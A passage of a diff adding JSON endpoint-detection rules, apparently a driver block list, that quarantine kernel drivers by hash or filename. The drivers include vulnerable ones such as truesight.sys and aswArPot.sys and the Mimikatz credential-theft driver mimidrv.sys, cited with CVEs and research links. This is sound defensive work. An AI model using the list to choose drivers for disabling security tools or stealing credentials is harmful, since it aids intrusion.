+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6aae14c1-b24d-54ab-83dc-4f746eaf28f7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.826639Z",
+  "creation_date": "2026-03-23T11:45:30.826641Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.826646Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4a42fbb4f43ce223f272ab104cb4548d65b51370e7e3309bbecf94f78f388d0d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6ab2c510-a228-5c45-9d53-5558473c722e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.604071Z",
+  "creation_date": "2026-03-23T11:45:29.604073Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.604079Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8be482157bdb504cc35f1126e31f240e0faf6890790c65c58ec3328f58c780d8",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6ab3aa6a-a9f1-5cd2-beef-4bdb06dc2ea0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.832902Z",
+  "creation_date": "2026-03-23T11:45:30.832905Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.832913Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "17af7d992ea688cb58092a9cb4e97242dee798b6b8598df58919bd816a487f72",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6abe76f7-30e2-5058-9049-75c7645e33a3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.979567Z",
+  "creation_date": "2026-03-23T11:45:29.979569Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.979575Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e307ebe2d43cc8e290e5ade032a6e38bc6961439f92d6e99b954bf1368a975ef",
+  "comment": "Malicious Kernel Driver (aka windbg.sys) [https://www.loldrivers.io/drivers/da7314dc-6cf1-4d74-a0d1-796fc08944f8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6ac353ef-113a-5248-aa3e-db023b0e14b4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.491195Z",
+  "creation_date": "2026-03-23T11:45:31.491198Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.491206Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "aa5453e36a0bb0cef26d3708ef568443e42bfe2780db5bc2ac9f8e0dacf35243",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6ac6cbb3-b6cd-5fe3-b382-efd22faf55e2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.492701Z",
+  "creation_date": "2026-03-23T11:45:31.492705Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.492714Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "965428e52c4c1cb355cbac05e8dd5549fa46e71d10d7c8766e2603df5ac048d4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6acaf915-d2be-5af7-9ac0-ad0b2b9137f3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.149396Z",
+  "creation_date": "2026-03-23T11:45:31.149399Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.149408Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "96145b53c3844ec1ddc23fb0ef29cb17e297a0bdec6215d5f4d62ebda5e62a6b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6ae23888-b7cf-5232-a08a-ece352b71c8c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.971176Z",
+  "creation_date": "2026-03-23T11:45:29.971179Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.971187Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "filename",
+  "value": "mimidrv.sys",
+  "comment": "Mimikatz kernel driver (aka mimidrv.sys) [https://github.com/gentilkiwi/mimikatz] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6aed2c9c-f9c0-5a13-8631-0a0902f6da1e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.833372Z",
+  "creation_date": "2026-03-23T11:45:30.833376Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.833384Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "48b6357abca6278706e2c431fd1cc34a2ab7971b65e496cf19f164a602838a34",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6af166f6-b9f4-547e-8d45-e6831447f86c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.494083Z",
+  "creation_date": "2026-03-23T11:45:31.494086Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.494095Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c78e942bbdff760ab41f3266bc593114e35a15d3f46b5de370a21f2c3ea4e5b0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6b0cbdc8-a97b-5df4-95ec-48dca8cb3c73",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.144939Z",
+  "creation_date": "2026-03-23T11:45:32.144941Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.144946Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d1598c68202647a9d029b0abb2737f3701359ab433677b51bd83459de7155677",
+  "comment": "Malicious Kernel Driver (aka driver_290bc782.sys) [https://www.loldrivers.io/drivers/f5c1a46f-21e6-4b06-b212-2dc55b699497/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6b0f6788-686d-55dd-982a-84b9f2cc1f01",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.457393Z",
+  "creation_date": "2026-03-23T11:45:30.457397Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.457405Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8ef59605ebb2cb259f19aba1a8c122629c224c58e603f270eaa72f516277620c",
+  "comment": "Vulnerable Kernel Driver (aka rtkio64.sys ) [https://www.loldrivers.io/drivers/8d3f27bd-c3fd-48d0-913a-e2caa6fbd025/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6b12aa25-1b3f-5956-8b57-7e1d8ad018e0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.968987Z",
+  "creation_date": "2026-03-23T11:45:29.968989Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.968995Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8cfd5b2102fbc77018c7fe6019ec15f07da497f6d73c32a31f4ba07e67ec85d9",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6b17b320-4771-523e-ae8a-b69080f409e2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.614579Z",
+  "creation_date": "2026-03-23T11:45:29.614581Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.614587Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "56a3c9ac137d862a85b4004f043d46542a1b61c6acb438098a9640469e2d80e7",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6b1eedb3-df77-5a25-91b6-90a19bf2d768",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.967148Z",
+  "creation_date": "2026-03-23T11:45:29.967151Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.967160Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "15cf3ce2a0ee32488de26222492842a378d6b8af6924578b35dac89fb0c7cb5c",
+  "comment": "PassMark vulnerable driver (aka DirectIo32.sys and DirectIo64.sys) [CVE-2020-15479] [https://github.com/eset/vulnerability-disclosures/blob/master/CVE-2020-15479/CVE-2020-15479.md] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6b27bb1d-47f9-5210-a780-c005f61d445c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.483372Z",
+  "creation_date": "2026-03-23T11:45:31.483376Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.483386Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9f5e3fb2163d42e5c48164c02eda6e3da31c42d054f4103cea2f1c0da445d843",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6b294ad6-d7b5-5293-b497-fc6da62d6048",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.618202Z",
+  "creation_date": "2026-03-23T11:45:29.618204Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.618209Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "835733590a778f48dae1df4e33da8455b89449fed3e04fa19b64bbdcb6a530db",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6b2af974-52f1-570a-bcae-a6d2e57afe0a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.819324Z",
+  "creation_date": "2026-03-23T11:45:30.819326Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.819331Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "39b8c4549fcf28f4b5d8aee04bf170f648272197a631c3487a34fdb8d4a826b6",
+  "comment": "Vulnerable Kernel Driver (aka hwdetectng.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6b386362-a615-5dc2-94ca-e74e89620d75",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.973269Z",
+  "creation_date": "2026-03-23T11:45:29.973271Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.973277Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c1bbe628f79528417ea741dfad2f589fc4e5c62152e632a89ed080da029d5384",
+  "comment": "Elaborate Bytes vulnerable driver (aka ElbyCDIO.sys) [CVE-2009-0824] [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6b3bb91b-dd74-5605-9ca2-cf34e93456a9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.475444Z",
+  "creation_date": "2026-03-23T11:45:31.475447Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.475457Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e1335392b288a7006aa03d289559998f8870b9bdca139e12e3f7c5a1c14b8304",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6b4021dc-d69f-5e00-97e4-0e582ffa8778",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.809026Z",
+  "creation_date": "2026-03-23T11:45:31.809028Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.809034Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "93710294ca4c54305bbd016842276f32b8895002c6c2ff09e653ceb3bc05dec0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6b43793f-c824-5758-a3fc-74a4e77739c9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.827699Z",
+  "creation_date": "2026-03-23T11:45:30.827701Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.827706Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cc5df3459b53df65b45eaf3541723192563133f9d07f4aee68c21556d5ac4bb9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6b5c7d85-f321-5794-91c0-530f342867ed",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
